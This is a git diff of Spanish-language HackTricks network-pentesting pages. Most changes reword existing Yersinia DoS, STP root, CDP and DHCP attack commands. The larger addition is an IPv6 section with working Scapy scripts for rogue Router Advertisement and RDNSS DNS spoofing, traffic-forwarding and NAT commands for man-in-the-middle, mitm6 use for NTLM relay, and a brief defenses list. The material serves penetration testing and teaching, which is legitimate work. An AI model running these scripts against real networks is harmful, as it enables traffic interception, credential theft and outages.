[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se utiliza para monitorear una interfaz, revelando si un switch está en modo Predeterminado, Trunk, Dinámico, Automático o Acceso—siendo este último la única configuración inmune a ataques de salto de VLAN. Esta herramienta evalúa el estado de vulnerabilidad del switch. @@ -389,7 +391,7 @@ En el modo gráfico de Yersinia, elige la opción de eliminar todos los VTP vlan #### **STP BPDU DoS** -Enviando una gran cantidad de BPDUs TCP (Notificación de Cambio de Topología) o Conf (las BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente. +Enviando muchos BPDUs TCP (Notificación de Cambio de Topología) o Conf (los BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente. ```bash yersinia stp -attack 2 yersinia stp -attack 3 @@ -405,7 +407,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen #### **Ataque STP Root** El atacante simula el comportamiento de un switch para convertirse en el root STP de la red. Luego, más datos pasarán a través de él. Esto es interesante cuando estás conectado a dos switches diferentes.\ -Esto se hace enviando paquetes BPDUs CONF que dicen que el valor de **prioridad** es menor que la prioridad actual del switch root real. +Esto se hace enviando paquetes BPDUs CONF diciendo que el valor de **prioridad** es menor que la prioridad actual del switch root real. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root @@ -421,7 +423,7 @@ CISCO Discovery Protocol (CDP) es esencial para la comunicación entre dispositi #### Recolección de Datos Pasiva -CDP está configurado para transmitir información a través de todos los puertos, lo que podría llevar a un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar analizadores de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión de Cisco IOS identificada. +CDP está configurado para transmitir información a través de todos los puertos, lo que podría llevar a un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar sniffers de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión de Cisco IOS identificada. #### Induciendo Inundación de la Tabla CDP @@ -431,9 +433,9 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de # Alternatively, for a GUI approach: sudo yersinia -G ``` -Durante este ataque, la CPU del switch y la tabla de vecinos CDP están muy sobrecargadas, lo que lleva a lo que a menudo se denomina **“parálisis de red”** debido al consumo excesivo de recursos. +Durante este ataque, la CPU del switch y la tabla de vecinos CDP están fuertemente sobrecargadas, lo que lleva a lo que a menudo se denomina **“parálisis de red”** debido al consumo excesivo de recursos. -#### Ataque de suplantación CDP +#### Ataque de suplantación de CDP ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet @@ -492,7 +494,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds **Dos tipos de DoS** se pueden realizar contra servidores DHCP. El primero consiste en **simular suficientes hosts falsos para usar todas las direcciones IP posibles**.\ Este ataque funcionará solo si puedes ver las respuestas del servidor DHCP y completar el protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por ejemplo, esto **no es posible en redes Wifi**. -Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código fuente cada IP posible**. Entonces, el servidor pensará que todos han terminado de usar la IP. +Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código de origen cada IP posible**. Entonces, el servidor pensará que todos han terminado de usar la IP. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed @@ -549,7 +551,7 @@ glbp-and-hsrp-attacks.md ### RIP -Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. Los datagramas se envían a los pares a través del puerto 520 utilizando UDP por RIP y RIPv2, mientras que los datagramas se transmiten al puerto UDP 521 a través de multicast IPv6 por RIPng. El soporte para autenticación MD5 fue introducido por RIPv2. Por otro lado, la autenticación nativa no está incorporada por RIPng; en su lugar, se confía en encabezados opcionales de IPsec AH y ESP dentro de IPv6. +Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. Los datagramas se envían a los pares a través del puerto 520 utilizando UDP por RIP y RIPv2, mientras que los datagramas se transmiten al puerto UDP 521 a través de multicast IPv6 por RIPng. El soporte para la autenticación MD5 fue introducido por RIPv2. Por otro lado, la autenticación nativa no está incorporada por RIPng; en su lugar, se confía en encabezados opcionales de IPsec AH y ESP dentro de IPv6. - **RIP y RIPv2:** La comunicación se realiza a través de datagramas UDP en el puerto 520. - **RIPng:** Utiliza el puerto UDP 521 para transmitir datagramas a través de multicast IPv6. @@ -558,7 +560,7 @@ Tenga en cuenta que RIPv2 admite autenticación MD5 mientras que RIPng no incluy ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento de EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (en otras palabras, el sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta se **propague** por todo el sistema EIGRP autónomo. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento de EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (en otras palabras, el sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta **se propague** por todo el sistema EIGRP autónomo. Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta diversas inyecciones. @@ -568,11 +570,11 @@ Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIG eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar transmisiones de EIGRP (Enhanced Interior Gateway Routing Protocol). También permite la inyección de paquetes, que se pueden utilizar para alterar configuraciones de enrutamiento. +[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar transmisiones EIGRP (Enhanced Interior Gateway Routing Protocol). También permite la inyección de paquetes, que se pueden utilizar para alterar configuraciones de enrutamiento. ### OSPF -En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se emplea comúnmente para garantizar una comunicación segura entre enrutadores**. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez que se obtiene esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de ruta y establecer la clave comprometida, se utilizan las pestañas _Injection_ y _Connection_, respectivamente. +En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se emplea comúnmente para garantizar una comunicación segura entre enrutadores**. Sin embargo, esta medida de seguridad puede ser comprometida utilizando herramientas como Loki y John the Ripper. Estas herramientas son capaces de capturar y descifrar hashes MD5, exponiendo la clave de autenticación. Una vez que se obtiene esta clave, se puede utilizar para introducir nueva información de enrutamiento. Para configurar los parámetros de la ruta y establecer la clave comprometida, se utilizan las pestañas _Injection_ y _Connection_, respectivamente. - **Captura y Descifrado de Hashes MD5:** Se utilizan herramientas como Loki y John the Ripper para este propósito. - **Configuración de Parámetros de Ruta:** Esto se realiza a través de la pestaña _Injection_. @@ -581,7 +583,7 @@ En el protocolo Open Shortest Path First (OSPF), **la autenticación MD5 se empl ### Other Generic Tools & Sources - [**Above**](https://github.com/c4s73r/Above): Herramienta para escanear el tráfico de red y encontrar vulnerabilidades -- Puede encontrar más **información sobre ataques a redes** [**aquí**](https://github.com/Sab0tag3d/MITM-cheatsheet). +- Puede encontrar **más información sobre ataques a redes** [**aquí**](https://github.com/Sab0tag3d/MITM-cheatsheet). ## **Spoofing** @@ -697,14 +699,14 @@ Más información [aquí](https://www.blackhat.com/presentations/bh-dc-09/Marlin ### sslStrip+ y dns2proxy para eludir HSTS -La **diferencia** entre **sslStrip+ y dns2proxy** contra **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (note la **extra** "**w**") y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)**, pero detrás de escena **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**. +La **diferencia** entre **sslStrip+ y dns2proxy** contra **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (note la **extra** "**w**") y establecerán la **dirección de este dominio como la IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)**, pero tras bambalinas **sslstrip+** **mantendrá** la **conexión real** a través de https con **www.facebook.com**. El **objetivo** de esta técnica es **evitar HSTS** porque _**wwww**.facebook.com_ **no será** guardado en la **caché** del navegador, por lo que el navegador será engañado para realizar **la autenticación de facebook en HTTP**.\ Tenga en cuenta que para realizar este ataque, la víctima debe intentar acceder inicialmente a [http://www.faceook.com](http://www.faceook.com) y no a https. Esto se puede hacer modificando los enlaces dentro de una página http. Más información [aquí](https://www.bettercap.org/legacy/#hsts-bypass), [aquí](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) y [aquí](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, tenga en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el ejemplo de** _**wwww.facebook.com**_ **de antes ya no funcionará ya que** _**facebook.com**_ **usa HSTS con `includeSubdomains`.** +**sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, tenga en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el** _**wwww.facebook.com**_ **ejemplo de antes ya no funcionará ya que** _**facebook.com**_ **usa HSTS con `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory @@ -734,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` A veces, si el cliente verifica que la CA es válida, podrías **servir un certificado de otro nombre de host firmado por una CA**.\ -Otra prueba interesante es **servir un certificado del nombre de host solicitado pero autofirmado**. +Otra prueba interesante es servir un **certificado del nombre de host solicitado pero autofirmado**. Otras cosas a probar son intentar firmar el certificado con un certificado válido que no sea una CA válida. O usar la clave pública válida, forzar el uso de un algoritmo como Diffie-Hellman (uno que no necesite descifrar nada con la verdadera clave privada) y cuando el cliente solicite una prueba de la verdadera clave privada (como un hash), enviar una prueba falsa y esperar que el cliente no verifique esto. @@ -770,11 +772,11 @@ Tenga en cuenta que cuando se envía un paquete UDP a un dispositivo que no tien ### **Descubrimiento ARP** -Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC debe enviar una solicitud para cada posible dirección IP y solo las que están en uso responderán. +Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC tiene que enviar una solicitud para cada posible dirección IP y solo las que están en uso responderán. ### **mDNS (DNS multicast)** -Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\_udp.local**; la máquina que ve este paquete generalmente responde a esta solicitud. Luego, solo busca máquinas que respondan a "services". +Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\_udp.local**. La máquina que ve este paquete generalmente responde a esta solicitud. Luego, solo busca máquinas que respondan a "services". **Herramientas** @@ -782,7 +784,7 @@ Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\ - Bettercap (net.probe.mdns) - Responder -### **NBNS (Servidor de Nombres NetBios)** +### **NBNS (NetBios Name Server)** Bettercap transmite paquetes al puerto 137/UDP pidiendo el nombre "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". @@ -794,8 +796,10 @@ Bettercap transmite paquetes SSDP buscando todo tipo de servicios (Puerto UDP 19 Bettercap transmite paquetes WSD buscando servicios (Puerto UDP 3702). + ### Explotación de Telecom / Núcleo Móvil (GTP) + {{#ref}} telecom-network-exploitation.md {{#endref}} @@ -807,4 +811,6 @@ telecom-network-exploitation.md - **Hacking Práctico de IoT: La Guía Definitiva para Atacar el Internet de las Cosas. Por Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index a12b65c22..350eb2aad 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -1,8 +1,10 @@ +# Pentesting IPv6 + {{#include ../../banners/hacktricks-training.md}} -# Teoría básica de IPv6 +## Teoría básica de IPv6 -## Redes +### Redes Las direcciones IPv6 están estructuradas para mejorar la organización de la red y la interacción de dispositivos. Una dirección IPv6 se divide en: @@ -18,14 +20,14 @@ Mientras que IPv6 omite el protocolo ARP encontrado en IPv4, introduce **ICMPv6* IPv6 también incorpora tipos de direcciones especiales: - **Dirección de loopback (`::1`)**: Equivalente a `127.0.0.1` de IPv4, para comunicación interna dentro del host. -- **Direcciones Link-Local (`FE80::/10`)**: Para actividades de red local, no para el enrutamiento por internet. Los dispositivos en la misma red local pueden descubrirse entre sí utilizando este rango. +- **Direcciones Link-Local (`FE80::/10`)**: Para actividades de red local, no para enrutamiento por internet. Los dispositivos en la misma red local pueden descubrirse entre sí utilizando este rango. ### Uso práctico de IPv6 en comandos de red Para interactuar con redes IPv6, puedes usar varios comandos: - **Ping a direcciones Link-Local**: Verifica la presencia de dispositivos locales usando `ping6`. -- **Descubrimiento de vecinos**: Usa `ip neigh` para ver los dispositivos descubiertos en la capa de enlace. +- **Descubrimiento de vecinos**: Usa `ip neigh` para ver dispositivos descubiertos en la capa de enlace. - **alive6**: Una herramienta alternativa para descubrir dispositivos en la misma red. A continuación se presentan algunos ejemplos de comandos: @@ -38,7 +40,7 @@ alive6 eth0 ``` Las direcciones IPv6 se pueden derivar de la dirección MAC de un dispositivo para la comunicación local. Aquí hay una guía simplificada sobre cómo derivar la dirección IPv6 Link-local a partir de una dirección MAC conocida, y una breve descripción de los tipos de direcciones IPv6 y métodos para descubrir direcciones IPv6 dentro de una red. -## **Derivando Link-local IPv6 de la dirección MAC** +### **Derivando Link-local IPv6 de la dirección MAC** Dada una dirección MAC **`12:34:56:78:9a:bc`**, puedes construir la dirección IPv6 Link-local de la siguiente manera: @@ -46,28 +48,28 @@ Dada una dirección MAC **`12:34:56:78:9a:bc`**, puedes construir la dirección 2. Precede con `fe80::` e inserta `fffe` en el medio: **`fe80::1234:56ff:fe78:9abc`** 3. Invierte el séptimo bit desde la izquierda, cambiando `1234` a `1034`: **`fe80::1034:56ff:fe78:9abc`** -## **Tipos de direcciones IPv6** +### **Tipos de Direcciones IPv6** -- **Dirección Local Única (ULA)**: Para comunicaciones locales, no destinada al enrutamiento en internet público. Prefijo: **`FEC00::/7`** -- **Dirección Multicast**: Para comunicación de uno a muchos. Entregada a todas las interfaces en el grupo multicast. Prefijo: **`FF00::/8`** -- **Dirección Anycast**: Para comunicación de uno a más cercano. Enviada a la interfaz más cercana según el protocolo de enrutamiento. Parte del rango global unicast **`2000::/3`**. +- **Unique Local Address (ULA)**: Para comunicaciones locales, no destinado a enrutamiento en internet público. Prefijo: **`FEC00::/7`** +- **Multicast Address**: Para comunicación de uno a muchos. Entregado a todas las interfaces en el grupo de multidifusión. Prefijo: **`FF00::/8`** +- **Anycast Address**: Para comunicación de uno a más cercano. Enviado a la interfaz más cercana según el protocolo de enrutamiento. Parte del rango de unicast global **`2000::/3`**. -## **Prefijos de dirección** +### **Prefijos de Direcciones** - **fe80::/10**: Direcciones Link-Local (similar a 169.254.x.x) -- **fc00::/7**: Unicast Local Único (similar a rangos IPv4 privados como 10.x.x.x, 172.16.x.x, 192.168.x.x) -- **2000::/3**: Unicast Global +- **fc00::/7**: Unique Local-Unicast (similar a rangos privados de IPv4 como 10.x.x.x, 172.16.x.x, 192.168.x.x) +- **2000::/3**: Global Unicast - **ff02::1**: Multicast Todos los Nodos - **ff02::2**: Multicast Nodos de Router -## **Descubriendo direcciones IPv6 dentro de una red** +### **Descubriendo Direcciones IPv6 dentro de una Red** -### Forma 1: Usando direcciones Link-local +#### Forma 1: Usando Direcciones Link-local 1. Obtén la dirección MAC de un dispositivo dentro de la red. 2. Deriva la dirección IPv6 Link-local a partir de la dirección MAC. -### Forma 2: Usando Multicast +#### Forma 2: Usando Multicast 1. Envía un ping a la dirección multicast `ff02::1` para descubrir direcciones IPv6 en la red local. ```bash @@ -75,7 +77,7 @@ service ufw stop # Stop the firewall ping6 -I ff02::1 # Send a ping to multicast address ip -6 neigh # Display the neighbor table ``` -## IPv6 Man-in-the-Middle (MitM) Attacks +### IPv6 Man-in-the-Middle (MitM) Attacks Existen varias técnicas para ejecutar ataques MitM en redes IPv6, tales como: @@ -84,15 +86,15 @@ Existen varias técnicas para ejecutar ataques MitM en redes IPv6, tales como: - Ataque a IPv6 móvil (generalmente requiere que IPSec esté deshabilitado). - Configuración de un servidor DHCPv6 malicioso. -# Identifying IPv6 Addresses in the eild +## Identifying IPv6 Addresses in the eild -## Exploring Subdomains +### Exploring Subdomains Un método para encontrar subdominios que están potencialmente vinculados a direcciones IPv6 implica aprovechar los motores de búsqueda. Por ejemplo, emplear un patrón de consulta como `ipv6.*` puede ser efectivo. Específicamente, se puede usar el siguiente comando de búsqueda en Google: ```bash site:ipv6./ ``` -## Utilizando Consultas DNS +### Utilizando Consultas DNS Para identificar direcciones IPv6, se pueden consultar ciertos tipos de registros DNS: @@ -100,13 +102,254 @@ Para identificar direcciones IPv6, se pueden consultar ciertos tipos de registro - **AAAA**: Busca directamente direcciones IPv6. - **ANY**: Una consulta amplia que devuelve todos los registros DNS disponibles. -## Sondeo con Ping6 +### Sondeo con Ping6 -Después de identificar las direcciones IPv6 asociadas con una organización, se puede utilizar la utilidad `ping6` para el sondeo. Esta herramienta ayuda a evaluar la capacidad de respuesta de las direcciones IPv6 identificadas y también puede ayudar a descubrir dispositivos IPv6 adyacentes. +Después de identificar las direcciones IPv6 asociadas con una organización, se puede utilizar la utilidad `ping6` para sondear. Esta herramienta ayuda a evaluar la capacidad de respuesta de las direcciones IPv6 identificadas y también puede ayudar a descubrir dispositivos IPv6 adyacentes. + +## Técnicas de Ataque en Redes Locales IPv6 + +Las siguientes secciones cubren ataques prácticos de capa 2 en IPv6 que se pueden ejecutar **dentro del mismo segmento /64** sin conocer ningún prefijo global. Todos los paquetes mostrados a continuación son **link-local** y viajan solo a través del switch local, lo que los hace extremadamente sigilosos en la mayoría de los entornos. + +### Ajuste del Sistema para un Laboratorio Estable + +Antes de jugar con el tráfico IPv6, se recomienda endurecer tu equipo para evitar ser envenenado por tus propias pruebas y obtener el mejor rendimiento durante la inyección/escucha masiva de paquetes. +```bash +# Enable promiscuous mode to capture all frames +sudo ip link set dev eth0 promisc on + +# Ignore rogue Router Advertisements & Redirects coming from the segment +sudo sysctl -w net.ipv6.conf.all.accept_ra=0 +sudo sysctl -w net.ipv6.conf.all.accept_redirects=0 + +# Increase fd / backlog limits when generating lots of traffic +sudo sysctl -w fs.file-max=100000 +sudo sysctl -w net.core.somaxconn=65535 +sudo sysctl -w net.ipv4.tcp_tw_reuse=1 +``` +### Sniffing pasivo de NDP y DHCPv6 + +Debido a que cada host IPv6 **se une automáticamente a múltiples grupos multicast** (`ff02::1`, `ff02::2`, …) y utiliza ICMPv6 para SLAAC/NDP, puedes mapear todo el segmento sin enviar un solo paquete. La siguiente línea de código en Python/Scapy escucha los mensajes L2 más interesantes y imprime un registro coloreado y con marca de tiempo de quién es quién: +```python +#!/usr/bin/env python3 +from scapy.all import * +from scapy.layers.dhcp6 import * +from datetime import datetime +from colorama import Fore, Style, init +import argparse + +init(autoreset=True) + +# Human-readable names for protocols we care about +DHCP6_TYPES = { +DHCP6_Solicit: 'Solicit', +DHCP6_Advertise: 'Advertise', +DHCP6_Request: 'Request', +DHCP6_Reply: 'Reply', +DHCP6_Renew: 'Renew', +DHCP6_Rebind: 'Rebind', +DHCP6_RelayForward:'Relay-Forward', +DHCP6_RelayReply: 'Relay-Reply' +} +ICMP6_TYPES = { +ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN), +ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN), +ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE), +ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA), +ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX), +ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX), +ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX), +ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX), +ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX), +ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX) +} + +def handler(pkt): +eth_src = pkt[Ether].src if Ether in pkt else '?' +eth_dst = pkt[Ether].dst if Ether in pkt else '?' +ip6_src = pkt[IPv6].src if IPv6 in pkt else '?' +ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?' + +# Identify protocol family first +for proto,(desc,color) in ICMP6_TYPES.items(): +if proto in pkt: +break +else: +if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port +for dhcp_t,name in DHCP6_TYPES.items(): +if dhcp_t in pkt: +desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break +else: +return # not a DHCPv6 message we track +else: +return # not interesting + +print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}") +print(f" MAC {eth_src} -> {eth_dst}") +print(f" IPv6 {ip6_src} -> {ip6_dst}") +print('-'*60) + +if __name__ == '__main__': +argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer') +argp.add_argument('-i','--interface',required=True,help='Interface to sniff') +argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)') +a = argp.parse_args() +sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) +``` +Resultado: una **topología de enlace local** completa (MAC ⇄ IPv6) en cuestión de segundos, sin activar sistemas IPS/IDS que dependen de escaneos activos. + +### Suplantación de Anuncios de Router (RA) + +Los hosts de IPv6 dependen de **ICMPv6 Router Advertisements** para el descubrimiento de la puerta de enlace predeterminada. Si inyectas RAs falsificados **más frecuentemente** que el router legítimo, los dispositivos cambiarán silenciosamente a ti como la puerta de enlace. +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)') +p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef') +p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime') +p.add_argument('--interval',type=int,default=5,help='Seconds between RAs') +p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack') +args = p.parse_args() + +lifetime = 0 if args.revert else args.lifetime +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ +ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference +ICMPv6NDOptSrcLLAddr(lladdr=args.mac)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` +Para **reenviar tráfico** después de ganar la carrera: +```bash +sudo sysctl -w net.ipv6.conf.all.forwarding=1 +sudo ip6tables -A FORWARD -i eth0 -j ACCEPT +sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +#### Router Advertisement Flags (M/O) & Default Router Preference (Prf) + +| Flag | Significado | Efecto en el Comportamiento del Cliente | +|------|-------------|----------------------------------------| +| **M (Configuración de Dirección Administrada)** | Cuando se establece en `1`, el host DEBE usar **DHCPv6** para obtener su dirección IPv6. | Toda la dirección proviene de DHCPv6 – perfecto para el envenenamiento estilo *mitm6*. | +| **O (Otra Configuración)** | Cuando se establece en `1`, el host debe usar **DHCPv6** solo para obtener *otra* información (DNS, NTP, …). | La dirección sigue siendo a través de SLAAC, pero DNS puede ser secuestrado con DHCPv6. | +| **M=0 / O=0** | Red pura SLAAC. | Solo son posibles trucos RA / RDNSS – DHCPv6 no será enviado por los clientes. | +| **M=1 / O=1** | Entorno mixto. | Se utilizan tanto DHCPv6 como SLAAC; la superficie para el spoofing es la más grande. | + +Durante un pentest, puedes simplemente inspeccionar el RA legítimo una vez y decidir qué vector es factible: +```bash +sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements +``` +Busca el campo `flags [M,O]` en el volcado – no se requiere adivinar. + +El campo **Prf** (Preferencia del Router) dentro del encabezado RA controla cuán atractivo se ve tu router falso cuando hay *múltiples* puertas de enlace presentes: + +| Valor de Prf | Binario | Significado | +|--------------|---------|-------------| +| **Alto** | `10` | Los clientes prefieren este router sobre cualquier router *Medio*/*Bajo* | +| Medio (predeterminado) | `01` | Usado por casi todos los dispositivos legítimos | +| Bajo | `00` | Elegido solo cuando no existe un mejor router | + +Al generar el paquete con Scapy, puedes configurarlo a través del parámetro `prf` como se muestra arriba (`prf=0x1` → Alto). Combinar **Alto Prf**, un **intervalo corto** y una **vida útil no cero** hace que tu puerta de enlace falsa sea notablemente estable. + +--- + +### Suplantación de RDNSS (DNS) a través de RA + +[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) permite agregar una opción de **Servidor DNS Recursivo (RDNSS)** dentro de un RA. Los sistemas operativos modernos (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) confían automáticamente en ello: +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +P = p.add_argument +P('-i','--interface',required=True) +P('--llip',required=True) +P('--dns',required=True,help='Fake DNS IPv6') +P('--lifetime',type=int,default=600) +P('--interval',type=int,default=5) +args = p.parse_args() + +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ +ICMPv6ND_RA(routerlifetime=0)/ +ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` +Los clientes **antepondrán** su DNS a su lista de resolutores durante el tiempo de vida dado, otorgando un secuestro completo de DNS hasta que el valor expire o envíes un `lifetime=0` para revertir. + +### Suplantación de DNS DHCPv6 (mitm6) + +En lugar de SLAAC, las redes de Windows a menudo dependen de **DHCPv6 sin estado** para DNS. [mitm6](https://github.com/rofl0r/mitm6) responde automáticamente a los mensajes `Solicit` con un flujo de **Advertise → Reply** que asigna **tu dirección local de enlace como DNS durante 300 segundos**. Esto desbloquea: + +* Ataques de retransmisión NTLM (WPAD + secuestro de DNS) +* Interceptar la resolución de nombres internos sin tocar los enrutadores + +Uso típico: +```bash +sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning +``` +### Defensas + +* **RA Guard / DHCPv6 Guard / ND Inspection** en switches gestionados. +* ACLs de puerto que permiten solo que la MAC del enrutador legítimo envíe RAs. +* Monitorear por **RAs de alta tasa no sólidas** o cambios súbitos en **RDNSS**. +* Deshabilitar IPv6 en los puntos finales es una solución temporal que a menudo rompe servicios modernos y oculta puntos ciegos; preferir el filtrado L2 en su lugar. + +### Descubrimiento de Router NDP en SSIDs de Invitados/Públicos y Exposición de Servicios de Gestión + +Muchos enrutadores de consumo exponen demonios de gestión (HTTP(S), SSH/Telnet, TR-069, etc.) en todas las interfaces. En algunas implementaciones, el SSID "invitado/público" está puenteado al WAN/núcleo y es solo IPv6. Incluso si el IPv6 del enrutador cambia en cada arranque, puedes aprenderlo de manera confiable usando NDP/ICMPv6 y luego conectarte directamente al plano de gestión desde el SSID de invitados. + +Flujo de trabajo típico desde un cliente conectado al SSID de invitados/públicos: + +1) Descubrir el enrutador a través de ICMPv6 Router Solicitation al multicast de Todos los Enrutadores `ff02::2` y capturar el Router Advertisement (RA): +```bash +# Listen for Router Advertisements (ICMPv6 type 134) +sudo tcpdump -vvv -i 'icmp6 and ip6[40]==134' + +# Provoke an RA by sending a Router Solicitation to ff02::2 +python3 - <<'PY' +from scapy.all import * +send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='') +PY +``` +El RA revela la dirección/prefijo local de enlace del enrutador y a menudo una dirección/prefijo global. 